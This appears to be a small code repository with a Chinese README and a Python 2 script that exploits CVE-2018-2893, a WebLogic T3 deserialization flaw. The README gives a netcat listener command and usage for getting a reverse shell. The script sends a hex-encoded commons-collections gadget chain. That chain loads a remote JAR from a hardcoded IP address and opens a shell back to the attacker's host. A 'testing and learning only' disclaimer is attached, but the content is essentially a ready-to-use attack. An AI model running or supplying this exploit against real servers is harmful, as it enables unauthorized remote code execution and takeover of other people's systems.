├── README.md ├── weblogic.py └── 未命名绘图.drawio /README.md: -------------------------------------------------------------------------------- 1 | **CVE-2018-2893** 2 | 3 | > 可以直接反弹shell 4 | 5 | **Usage** 6 | 7 | 监听 8 | 9 | nc -lvvp reverse_port 10 | 11 | 发送payload 12 | 13 | python weblogic.py target_host target_port reverse_host reverse_port 14 | 15 | **Reffer** 16 | [bigsizeme](https://github.com/bigsizeme/CVE-2018-2893) 17 | [pyn3rd](https://github.com/pyn3rd/CVE-2018-2893) 18 | 19 | **说明** 20 | 21 | > 仅用于测试和交流学习，勿作他用 -------------------------------------------------------------------------------- /weblogic.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import socket 3 | import os 4 | import sys 5 | import struct 6 | 7 | 8 | if len(sys.argv) < 4: 9 | print 'Usage: python %s ' % os.path.basename(sys.argv[0]) 10 | sys.exit() 11 | 12 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 13 | sock.settimeout(5) 14 | 15 | host = sys.argv[1] 16 | port = int(sys.argv[2]) 17 | 18 | server_address = (host, port) 19 | print '[+] Connecting to %s port %s' % server_address 20 | sock.connect(server_address) 21 | 22 | 23 | reverse_host = sys.argv[3] 24 | reverse_port = int(sys.argv[4]) 25 | # Send headers 26 | headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n' 27 | print 'sending "%s"' % headers 28 | sock.sendall(headers) 29 | 30 | data = sock.recv(1024) 31 | print >>sys.stderr, 'received "%s"' % data 32 | 33 | 34 | def padhex(s): 35 | s = s.strip('0x') 36 | if len(s) %2 !=0: 37 | return '0'+s 38 | else: 39 | return s 40 | 41 | host_hex = padhex(hex(len(reverse_host))+reverse_host.encode('hex')) 42 | port_hex = padhex(hex(reverse_port)) 43 | 44 | 45 | payloadObj = """aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200176a6176612e6e65742e55524c436c6173734c6f61646572000000000000000000000078707372003e6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e7374616e74696174655472616e73666f726d6572348bf47fa486d03b0200025b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007870000000017572000f5b4c6a6176612e6e65742e55524c3b5251fd24c51b68cd0200007870000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e001c4c0004686f737471007e001c4c000870726f746f636f6c71007e001c4c000372656671007e001c7870ffffffffffffffff74000f3137362e3132322e3135372e3131307400132f4a657852656d6f7465546f6f6c732e6a617271007e001e740004687474707078757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000017671007e00197372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b0005694172677371007e00144c000b694d6574686f644e616d6571007e001c5b000b69506172616d547970657371007e001578707571007e00170000000174000a4a6578526576657273657400096c6f6164436c6173737571007e002100000001767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707371007e00137571007e0017000000027400%s737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b02000078700000%s7571007e00210000000271007e002b76720003696e7400000000000000000000007870737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878"""%(host_hex,port_hex) 46 | 47 | 48 | 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49 | payload=payload+payloadObj.decode('hex') 50 | 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51 | 52 | # adjust header for appropriate message length 53 | payload=struct.pack('>I',len(payload)) + payload[4:] 54 | 55 | print '[+] Sending payload...' 56 | sock.send(payload) 57 | data = sock.recv(1024) 58 | print >>sys.stderr, 'received "%s"' % data 59 | -------------------------------------------------------------------------------- /未命名绘图.drawio: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | --------------------------------------------------------------------------------